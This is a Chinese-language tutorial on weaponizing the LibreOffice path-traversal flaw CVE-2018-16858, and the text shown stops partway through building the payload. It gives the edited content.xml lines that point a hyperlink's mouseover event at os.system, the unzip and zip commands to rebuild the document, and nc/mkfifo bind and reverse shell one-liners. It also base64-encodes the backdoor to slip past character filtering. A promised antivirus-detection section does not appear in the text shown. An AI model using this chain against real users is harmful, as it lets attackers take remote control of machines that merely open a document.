本文将介绍如何利用程序的一个简单漏洞,在运行该程序的系统上打开一个后门。
相关漏洞由CVE-2018-16858定义,属于LibreOffice办公套件。该漏洞通过一个特制文件实现目录遍历,从而允许执行Python代码。在用户对文档进行操作时,该执行会被触发,且不会因宏执行而给予用户任何警告。
本文档分为五个部分。第一部分将解释漏洞本身,如何解包一个OpenDocument,如何修改其结构以便执行所需的本地脚本,以及如何重新打包文档以供执行和测试。
第二部分将介绍如何利用本地执行在打开文档的系统上运行任意命令,并生成一个允许远程命令执行的后门。
第三部分将自动化生成文档的过程,创建具有直接或反向通信的后门,指定需要连接的IP地址和端口。
第四部分将讨论将该漏洞集成到Metasploit系统中,以便通过msfconsole生成与Metasploit利用方式兼容的文档。这样就可以选择Metasploit套件中定义的任何payload作为要执行的代码。
第五部分也是最后一部分,将展示如何将检测过程集成到防病毒系统中,以识别通过上述方法感染的LibreOffice文件。将使用ClamAV防病毒软件的检测格式,从而更好地理解防病毒的检测过程,并便利我们防范此类威胁。
整个过程基于Debian的Linux系统,但这里解释的内容可以外推到其他系统,因为描述十分详细。原始CVE的漏洞和概念验证都是针对Windows版LibreOffice的,因此可以随时参考该来源,以便以类似方式在Windows版本中使用本文档描述的内容。
LibreOffice(以及因遗传原因,Apache OpenOffice)在其最新版本(6.1.5)之前的版本中存在一个漏洞,允许执行位于计算机上任意位置的Python代码,而用户不会收到宏执行的警告。
要查看该漏洞,我们可以新建一个文本文档,在其中写入一些内容,选中它并生成一个超链接。要在文本中创建超链接,需要选择“插入”菜单,然后选择“超链接”选项(也可以通过选中文本后使用组合键Ctrl+K实现)。
将出现以下对话框:

要定义超链接,我们需要插入一个URL并点击“应用”。除了URL选项外,在对话框底部(可以读到进一步设置),我们还会有一个带有播放图标的按钮,它允许我们将事件与特定动作绑定。在这里我们定义希望执行一段Python代码作为动作。
点击该按钮将打开一个新对话框:

在这里我们可以选择三个基本事件以及要使用的脚本。作为事件,我们选择鼠标悬停对象,作为脚本,在LibreOffice宏系列的脚本中,选择Python样本。在该选项下只有一个名为TableSample的默认脚本,我们选择它。
完成此操作后,如果将鼠标悬停在我们转为超链接的文本上,我们会看到打开了一个包含表格的文档窗口。这意味着我们将鼠标悬停在超链接上的事件与Python脚本关联起来了。我们的目的是用我们自己想要的动作替换这个脚本。
为此,我们将保存我们创建的文档,退出LibreOffice,然后在控制台中执行一系列命令。
ODT文档格式不过是一个包含一系列文件的zip压缩包(Microsoft Office的DOCX格式非常类似)。因此,我们首先要做的是用zip解压缩工具解压该文件。
在我们的例子中,我们将使用名为unzip的命令行工具,只需执行以下语句:
user@host:~/Documents/prueba$ unzip ~/Documents/blog/exploitlibreoffice/doc/CV.odt
这样我们就能看到OpenDocument类型文件内部实际包含的文件。对我们来说最重要的文件是mimetypes文件、content.xml文件和styles.xml文件。
mimetype文件必须是zip文件列表中第一个出现的文件,因此当我们重新打包文件时,必须强制我们的打包工具这样做,否则该文件将不会被识别为OpenDocument。
content.xml文件包含我们编写的文档文本,其中文本混合了特定标签,这些标签说明文本应以何种格式显示。
例如,下面一行:
<text:p text:style-name="_5f_ECV_5f_SectionDetails">Indicar lista de documentos adjuntos a su CV. Ejemplos:</text:p>
可以看到一个用特定样式(由text:style-name属性定义)编写的段落文本示例。文本段落位于标签__text:p和</text:p>__之间。
与我们创建的超链接相关联的脚本也可以很简单地看到。如果在content.xml文本中搜索python或我们加载的python脚本名称(本例中为TableSample.py),就可以很容易地检测到我们需要修改内容的行:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&location=share" xlink:type="simple"/>
在这一行中,包含了当鼠标悬停在超链接上时要加载的python脚本路径(TableSample.py)以及要执行的python函数(本例中为createTable)。
LibreOffice固有的问题是:在读取文档时,它没有正确清理要加载的python代码值。程序没有清理文件路径中的**../**字符,因此可以访问打开文本文档的系统中任意文件。此外,如果访问的文件是包含python代码的文件,我们就可以执行该文件中定义的任何函数。
作为第一个概念验证,我们将让鼠标悬停在超链接上时执行计算器程序,在我们的例子中,galculator程序会打开计算器。我们需要生成一个python程序,该程序允许在函数内执行命令,就像LibreOffice期望执行的方式一样。为此,我们在路径**/tmp/prueba.py**下生成以下代码:
import os;
def ejecuta():
os.system("galculator");
通过这段小代码,我们就能实现目的。现在只需将python文件**/tmp/prueba.py以及函数名ejecuta**添加到odt文件的调用中。因此,原本调用python的行将变成如下形式:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
可以看到,我们所做的是添加了大量**../以确保能向上导航到文件系统根目录。然后从那里添加指向我们python文件的精确路径(prueba.py)。在$之后添加了单词ejecuta**,这是负责加载计算器的函数。
完成此操作后,我们将重新打包odt文件,记住将mimetype作为第一个文件。如果使用zip工具,只需在解压了odt并包含恶意content.xml的目录中执行以下命令:
user@host:~/Documents/prueba$ zip -r exploit.odt mimetype .
完成后,用LibreOffice打开该文件,我们会发现当鼠标悬停在超链接上时,计算器程序被执行了。
这个第一步需要一个生成的python代码,其中包含一个可以不带参数执行的函数。实现起来很简单,但在真实的渗透测试中难以在可信或可复现的环境中使用。
从LibreOffice 6.1版本开始,可以在调用python函数时向这些函数传递参数。这为希望合法使用该程序宏的人提供了更大的脚本自由度,但同时也为我们这些希望寻找软件漏洞的人提供了黄金机会。
正如我们之前所说并确实使用过的,要执行系统调用来运行任意命令,需要调用os类和system函数。我们正是用它来调用计算器,传递了字符串galculator作为参数。python类的好处是我们可以知道它们的位置,实际上,为了利用可以传递参数给函数的特性,我们可以定位该类的位置。之前我们在/tmp/中执行了一个python程序(prueba.py)中的函数。现在,我们将直接调用位于系统库之一os.py中的system函数。 例如,在当前的Linux系统中,我们通常可以在路径**/usr/lib/python3.5/os.py找到它。因此,我们将之前的路径/tmp/prueba.py替换为此新路径。现在,将函数ejecuta替换为system**,并且由于我们可以向该函数传递参数,我们现在可以直接执行galculator程序或任何其他我们想执行的程序,无需在查看LibreOffice文档的机器上生成一个python文件执行。
之前我们在content.xml文件中有这个字符串:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&location=share" xlink:type="simple"/>
现在我们只需使用以下内容:
<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&location=share" xlink:type="simple"/>
将文件打包为LibreOffice文档的方式完全相同。现在的结果是:只需打开odt文档,无需在任何特定路径放置python程序。当然,需要打开文档的LibreOffice版本至少为6.1。
一旦打开文件并将鼠标悬停在文档的链接上,计算器应用程序就会像上一个例子一样打开。
打开文档时执行的命令在本地机器上执行,因此这种执行的一个用途是打开一个后门,允许我们从其他地方远程执行命令。
为了创建一个非常简单的后门,我们将使用nc命令,并创建一个fifo,以便通过同一个端口向计算机发送命令并获取执行结果。在我们最初使用漏洞执行命令的方法中,我们不得不编写一个python程序。我们的想法是不向要利用的计算机上传任何额外代码,因此我们将使用系统命令来生成后门。
nc命令是一个系统命令,允许在本地系统上打开一个端口,或连接到远程系统的端口,以便通过该连接接收的内容输出到标准输出,而通过标准输入的内容则通过连接发送到另一台机器。我们可以使用管道**|将正在执行的命令的屏幕输出传递给另一个命令,因此将nc命令与/bin/bash命令连接起来将允许我们轻松实现远程命令执行。如果我们执行nc ip端口 | /bin/bash**,通过nc命令连接收到的内容将传递给执行shell的**/bin/bash命令,这样我们从连接到的计算机发送的所有命令都将被执行。但这些命令的标准输出不会返回给nc命令,因此看不到这些输出。我们可以将/bin/bash的标准输出重定向到另一个使用不同端口的nc**命令,但这样我们需要两个端口来发送命令和接收命令输出,这有些笨拙。
一个简单的解决方案是使用fifo。mkfifo命令生成一个文件,允许同时写入和读取。因此,我们将生成一个fifo文件,作为nc命令的输入,以便写入该文件的所有内容都通过连接发送,并作为**/bin/bash**命令的输出,这样通过该命令执行的所有输出的内容都写入fifo文件。
在任何Linux终端中建立充当服务器的后门的命令序列如下:
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc -l -p 端口 < /tmp/lalala | /bin/bash > /tmp/lalala;
要从任何其他计算机连接到该机器,应执行以下命令:
user@host:~/$ nc ip 端口
其中ip是后门机器的IP地址,端口是我们在后门机器上执行nc时指定的相同值。
如果目标机器网络防火墙问题导致无法将其作为服务器使用,我们可以反向操作,让拥有后门的机器连接到我们控制的服务器。为此,我们首先在我们的机器上执行以下命令:
user@host:~/$ nc -l -p 端口
然后在后门机器上执行如下非常相似的命令序列:
user@host:~/$ mkfifo /tmp/lalala;
user@host:~/$ nc ip 端口 < /tmp/lalala | /bin/bash > /tmp/lalala;
最后一个命令中出现的IP地址必须是我们机器的地址。显然,远程机器必须能够到达该IP地址,才能建立连接,通过该连接我们将发送要在远程系统上执行的命令。
因此,在后门机器上,为了将命令写在一行中,可以执行以下行:
user@host:~/$ mkfifo /tmp/lalala;nc -l -p 端口 < /tmp/lalala | /bin/bash > /tmp/lalala;
或者执行以下行:
user@host:~/$ mkfifo /tmp/lalala;nc ip 端口 < /tmp/lalala | /bin/bash > /tmp/lalala;
一旦理解这一点,如果我们能通过libreoffice文件执行任一后门,我们就能远程控制打开文档的计算机。
显然,如果我们修改之前放在tmp中的python文件,不执行计算器而是执行后门,就会自动执行。
import os;
def ejecuta():
os.system("mkfifo /tmp/lalala;nc ip 端口 < /tmp/lalala | /bin/bash > /tmp/lalala;");
按照这种生成后门的思路,现在就可以在office文档中实现。方法相对简单,只需将linux计算器命令替换为允许打开后门的命令。
将代替计算器命令执行的后门如下:
mkfifo /tmp/lalala; nc IP 端口 < /tmp/lalala | /bin/bash > /tmp/lalala;
这是一个反向连接后门,因此为了使其运行并获得shell,必须在主机上打开一个监听地址为IP、端口为端口的socket。需要将这些值替换为我们主机的IP和打开的端口。
这个命令有一个问题:LibreOffice不允许使用某些特殊字符,如**<或|**,因此我们必须绕过这些字符的使用才能利用我们的漏洞。
一个简单的解决方案可能是使用base64。Base64几乎默认安装在所有Linux机器上,是一个允许通过该算法进行编码和解码的程序。因此,我们可以将我们想要执行的内容用base64编码,重定向到一个文件,之后该文件将被解码并执行。
我们将使用一种实现后门的方式,可能有些笨拙,但相当透明且容易理解。随后,按照相同的思路,可以随意复杂化以使一切更紧凑。由于本指南旨在教育,将保持更笨拙但命令和执行非常简单的公式。
如果在终端中执行以下命令,我们可以获得payload的base64版本:
echo "mkfifo /tmp/lalala; nc IP 端口 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64
结果将类似于:
bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=
现在我们已经没有通过漏洞执行时可能引起问题的任何字符了。但是,如果将此内容直接放入system命令,我们什么也不会执行。实际上,我们可以用echo将该内容重定向到一个文件。这样我们就有一个文件,解码后可以执行。因此,我们将生成一个文件,然后用base64命令解码,并使用允许解码的参数将其重定向到另一个文件。现在这个文件才是我们要执行的。首先分段解释每个命令,然后将它们全部放入exploit的system调用中:
首先,在打开LibreOffice文档的机器的**/tmp/目录中生成一个base64文件,命名为lalala.base64**。
echo "bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=" > /tmp/lalala.base64由于该编码文件对我们毫无用处,我们将对其进行解码,并将输出重定向到同一目录下的一个后续要执行的文件,该文件名为 **lalala.sh**。